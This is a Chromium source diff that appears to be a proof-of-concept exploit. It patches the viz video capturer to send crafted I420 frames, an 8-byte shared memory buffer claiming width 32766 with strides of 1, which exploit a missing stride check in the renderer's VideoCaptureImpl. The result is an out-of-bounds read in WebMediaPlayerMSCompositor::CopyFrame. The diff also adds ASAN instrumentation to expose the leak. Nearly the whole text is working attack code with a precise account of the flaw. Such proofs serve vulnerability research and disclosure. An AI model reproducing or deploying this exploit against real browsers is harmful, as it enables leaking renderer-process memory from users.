diff --git a/components/viz/service/frame_sinks/video_capture/frame_sink_video_capturer_impl.cc b/components/viz/service/frame_sinks/video_capture/frame_sink_video_capturer_impl.cc index c63c52835af8f..dba7ae9c69e84 100644 --- a/components/viz/service/frame_sinks/video_capture/frame_sink_video_capturer_impl.cc +++ b/components/viz/service/frame_sinks/video_capture/frame_sink_video_capturer_impl.cc @@ -15,6 +15,7 @@ #include "base/functional/callback.h" #include "base/functional/callback_helpers.h" #include "base/memory/read_only_shared_memory_region.h" +#include "base/memory/unsafe_shared_memory_region.h" #include "base/metrics/histogram_macros.h" #include "base/strings/strcat.h" #include "base/strings/stringprintf.h" @@ -1486,6 +1487,16 @@ void FrameSinkVideoCapturerImpl::OnFrameReadyForDelivery( void FrameSinkVideoCapturerImpl::MaybeDeliverFrame(FrameCapture frame_capture) { DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_); + + // POC: a compromised GPU/viz process replaces every captured frame on the + // getDisplayMedia() (I420) capturer with a crafted one that bypasses the + // renderer's stride check. Thumbnail/preview capturers (ARGB) are left + // alone so the browser-process UI is undisturbed. + if (pixel_format_ == media::PIXEL_FORMAT_I420) { + SendMaliciousFrameForPoc(); + return; + } + base::TimeTicks media_ticks; if (frame_capture.success()) { @@ -1572,6 +1583,67 @@ void FrameSinkVideoCapturerImpl::MaybeDeliverFrame(FrameCapture frame_capture) { consumer_informed_of_empty_region_ = false; } +void FrameSinkVideoCapturerImpl::SendMaliciousFrameForPoc() { + DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_); + if (!consumer_) { + return; + } + + // ----- Simulate a compromised GPU/viz process ----- + // Craft a kUnsafeShmemRegion buffer of only 8 bytes, paired with + // VideoFrameInfo claiming I420 coded_size={16384,4} and strides={1,1,1,0}. + // The renderer-side VideoCaptureImpl::ProcessBuffer() checks + // span.size() >= rows * stride + // for each plane, but never that stride >= RowBytes(width). With stride=1 + // those checks pass (4+2+2 == 8), and WrapExternalYuvData() stores spans + // pointing into the 8-byte mapping with coded_size.width()=16384. Any + // consumer that copies width() bytes per row (e.g. libyuv::I420Copy in + // WebMediaPlayerMSCompositor::CopyFrame, or VideoTrackAdapter scaling) + // reads ~16 KiB past the 8-byte mapping in the renderer process. + constexpr int kEvilWidth = 32766; + constexpr int kEvilHeight = 4; + + base::UnsafeSharedMemoryRegion region = + base::UnsafeSharedMemoryRegion::Create(8); + CHECK(region.IsValid()); + auto handle = + media::mojom::VideoBufferHandle::NewUnsafeShmemRegion(std::move(region)); + + auto info = media::mojom::VideoFrameInfo::New(); + static base::TimeDelta poc_ts; + poc_ts += base::Milliseconds(33); + info->timestamp = poc_ts; + info->metadata.reference_time = base::TimeTicks::Now(); + info->metadata.frame_duration = base::Milliseconds(33); + info->metadata.frame_rate = 30.0; + info->pixel_format = media::PIXEL_FORMAT_I420; + info->coded_size = gfx::Size(kEvilWidth, kEvilHeight); + // Keep visible_rect tiny so span-safe consumers (e.g. visible_data() in the + // texture-upload path) stay within the 8-byte mapping. The OOB read in + // WebMediaPlayerMSCompositor::CopyFrame() is driven by coded_size.width() + // and the raw VideoFrame::data() pointer, not visible_rect. + info->visible_rect = gfx::Rect(0, 0, 2, 2); + info->natural_size = gfx::Size(2, 2); + info->is_premapped = false; + info->color_space = gfx::ColorSpace::CreateREC709(); + info->strides = + media::mojom::PlaneStrides::New(std::vector{1, 1, 1, 0}); + + mojo::PendingRemote callbacks; + mojo::MakeSelfOwnedReceiver( + std::make_unique(base::DoNothing(), + base::DoNothing()), + callbacks.InitWithNewPipeAndPassReceiver()); + + LOG(ERROR) << "POC[gpu]: sending malicious OnFrameCaptured " + << "(I420 " << kEvilWidth << "x" << kEvilHeight + << ", strides={1,1,1,0}, shmem=8B)"; + consumer_->OnFrameCaptured(std::move(handle), std::move(info), + gfx::Rect(0, 0, kEvilWidth, kEvilHeight), + std::move(callbacks)); + +} + gfx::Size FrameSinkVideoCapturerImpl::AdjustSizeForPixelFormat( const gfx::Size& raw_size) const { if (pixel_format_ == media::PIXEL_FORMAT_ARGB || diff --git a/components/viz/service/frame_sinks/video_capture/frame_sink_video_capturer_impl.h b/components/viz/service/frame_sinks/video_capture/frame_sink_video_capturer_impl.h index 6aa3f8e4fb250..38860375fe6ac 100644 --- a/components/viz/service/frame_sinks/video_capture/frame_sink_video_capturer_impl.h +++ b/components/viz/service/frame_sinks/video_capture/frame_sink_video_capturer_impl.h @@ -369,6 +369,9 @@ class VIZ_SERVICE_EXPORT FrameSinkVideoCapturerImpl final // state will be updated, but nothing will be sent to the consumer. void MaybeDeliverFrame(FrameCapture frame_capture); + // POC: a compromised GPU/viz process crafts a malicious OnFrameCaptured(). + void SendMaliciousFrameForPoc(); + // For ARGB format, ensures that every dimension of `size` is positive. For // I420 format, ensures that every dimension is even and at least 2. gfx::Size AdjustSizeForPixelFormat(const gfx::Size& size) const; diff --git a/third_party/blink/renderer/modules/mediastream/web_media_player_ms_compositor.cc b/third_party/blink/renderer/modules/mediastream/web_media_player_ms_compositor.cc index e494cc8c645a7..7681b9af60054 100644 --- a/third_party/blink/renderer/modules/mediastream/web_media_player_ms_compositor.cc +++ b/third_party/blink/renderer/modules/mediastream/web_media_player_ms_compositor.cc @@ -43,6 +43,7 @@ #include "third_party/blink/renderer/platform/wtf/cross_thread_copier_media.h" #include "third_party/blink/renderer/platform/wtf/functional.h" #include "third_party/libyuv/include/libyuv/convert.h" +#include "third_party/libyuv/include/libyuv/cpu_id.h" #include "third_party/libyuv/include/libyuv/planar_functions.h" #include "third_party/libyuv/include/libyuv/video_common.h" #include "third_party/skia/include/core/SkSurface.h" @@ -109,6 +110,17 @@ scoped_refptr CopyFrame( } const gfx::Size& coded_size = frame->coded_size(); +#if defined(ADDRESS_SANITIZER) + // POC observability only: libyuv's CopyRow_ERMS uses inline `rep movsb` + // which ASAN cannot instrument. Force the C/memcpy path so ASAN's + // intercepted memcpy() observes the read range. This does not change + // which bytes are read. + libyuv::MaskCpuFlags(libyuv::kCpuInitialized); +#endif + LOG(ERROR) << "POC[renderer]: CopyFrame coded_size=" << coded_size.ToString() + << " stride[Y]=" << frame->stride(media::VideoFrame::Plane::kY) + << " span[Y].size=" + << frame->data_span(media::VideoFrame::Plane::kY).size(); new_frame = media::VideoFrame::CreateFrame( frame->format(), coded_size, frame->visible_rect(), frame->natural_size(), frame->timestamp()); diff --git a/third_party/blink/renderer/platform/video_capture/video_capture_impl.cc b/third_party/blink/renderer/platform/video_capture/video_capture_impl.cc index b8dca09cad03d..d1ca16948e430 100644 --- a/third_party/blink/renderer/platform/video_capture/video_capture_impl.cc +++ b/third_party/blink/renderer/platform/video_capture/video_capture_impl.cc @@ -23,6 +23,7 @@ #include "base/functional/bind.h" #include "base/functional/callback.h" #include "base/functional/callback_helpers.h" +#include "base/memory/asan_interface.h" #include "base/logging.h" #include "base/memory/raw_ptr.h" #include "base/memory/raw_span.h" @@ -179,6 +180,24 @@ struct VideoCaptureImpl::BufferContext backup_mapping_ = region.Map(); DCHECK(backup_mapping_.IsValid()); data_ = backup_mapping_.GetMemoryAsSpan(); +#if defined(ADDRESS_SANITIZER) + // ----- POC observability only (not part of the attack) ----- + // ASAN does not add redzones to mmap()'d shared memory, and libyuv's + // CopyRow_ERMS uses inline `rep movsb` which ASAN cannot instrument, so + // an OOB read past |data_| is normally silent (it just leaks adjacent + // renderer-process memory into the destination frame, which is the + // exploit primitive). To make the OOB visible: + // 1. Poison the page slack past the logical end of the region. + // 2. Force libyuv onto its C/memcpy path so ASAN's memcpy interceptor + // checks the poisoned shadow. + // Neither changes which bytes are read — only whether ASAN reports it. + constexpr size_t kPage = 4096; + const size_t slack = kPage - (data_.size() % kPage); + if (slack > 0 && slack < kPage) { + ASAN_POISON_MEMORY_REGION( + UNSAFE_BUFFERS(data_.data() + data_.size()), slack); + } +#endif } void ResetPreMapping() {